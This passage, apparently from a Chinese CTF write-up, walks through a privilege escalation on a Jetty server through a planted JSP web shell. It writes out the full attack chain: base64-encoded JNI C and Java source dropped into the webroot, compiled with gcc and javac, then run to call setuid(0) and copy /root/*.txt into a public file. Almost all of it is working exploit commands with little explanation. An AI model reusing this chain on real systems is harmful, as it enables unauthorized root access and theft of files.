hack.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
1
2
3
4
5
6
7
8
9
#include <jni.h>
//1111111111122
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
return setuid(uid);
}

#不知道为啥这里要注释一行才行,,,

写入SetUID.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SetUID {
static {
System.loadLibrary("SetUID");
}

public native int setUID(int uid);

public static void main(String[] args) throws Exception {
SetUID setUID = new SetUID();
int result = setUID.setUID(0);
Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
}
}
1
hack.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java

编译SetUID.c

1
hack.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c

编译SetUID.java

1
hack.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java

root执行命令

1
hack.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID

成功读取root下面的txt文件